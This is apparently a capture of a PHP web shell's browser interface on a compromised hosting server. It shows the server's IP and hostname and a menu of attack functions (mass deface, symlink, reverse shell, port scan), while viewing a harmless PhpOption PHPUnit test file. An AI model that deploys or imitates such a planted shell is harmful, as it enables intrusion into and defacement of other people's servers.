ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
phpoption
/
phpoption
/
tests
/
PhpOption
/
Tests
/
Viewing: NoneTest.php
<?php namespace PhpOption\Tests; use PhpOption\None; class NoneTest extends \PHPUnit_Framework_TestCase { private $none; /** * @expectedException \RuntimeException */ public function testGet() { $none = \PhpOption\None::create(); $none->get(); } public function testGetOrElse() { $none = \PhpOption\None::create(); $this->assertEquals('foo', $none->getOrElse('foo')); } public function testGetOrCall() { $none = \PhpOption\None::create(); $this->assertEquals('foo', $none->getOrCall(function() { return 'foo'; })); } /** * @expectedException \RuntimeException * @expectedExceptionMessage Not Found! */ public function testGetOrThrow() { None::create()->getOrThrow(new \RuntimeException('Not Found!')); } public function testIsEmpty() { $none = \PhpOption\None::create(); $this->assertTrue($none->isEmpty()); } public function testOrElse() { $option = \PhpOption\Some::create('foo'); $this->assertSame($option, \PhpOption\None::create()->orElse($option)); } public function testifDefined() { $this->assertNull($this->none->ifDefined(function() { throw new \LogicException('Should never be called.'); })); } public function testForAll() { $this->assertSame($this->none, $this->none->forAll(function() { throw new \LogicException('Should never be called.'); })); } public function testMap() { $this->assertSame($this->none, $this->none->map(function() { throw new \LogicException('Should not be called.'); })); } public function testFlatMap() { $this->assertSame($this->none, $this->none->flatMap(function() { throw new \LogicException('Should not be called.'); })); } public function testFilter() { $this->assertSame($this->none, $this->none->filter(function() { throw new \LogicException('Should not be called.'); })); } public function testFilterNot() { $this->assertSame($this->none, $this->none->filterNot(function() { throw new \LogicException('Should not be called.'); })); } public function testSelect() { $this->assertSame($this->none, $this->none->select(null)); } public function testReject() { $this->assertSame($this->none, $this->none->reject(null)); } public function testForeach() { $none = \PhpOption\None::create(); $called = 0; foreach ($none as $value) { $called++; } $this->assertEquals(0, $called); } public function testFoldLeftRight() { $this->assertSame(1, $this->none->foldLeft(1, function() { $this->fail(); })); $this->assertSame(1, $this->none->foldRight(1, function() { $this->fail(); })); } protected function setUp() { $this->none = None::create(); } }
Coded With 💗 by
0x6ick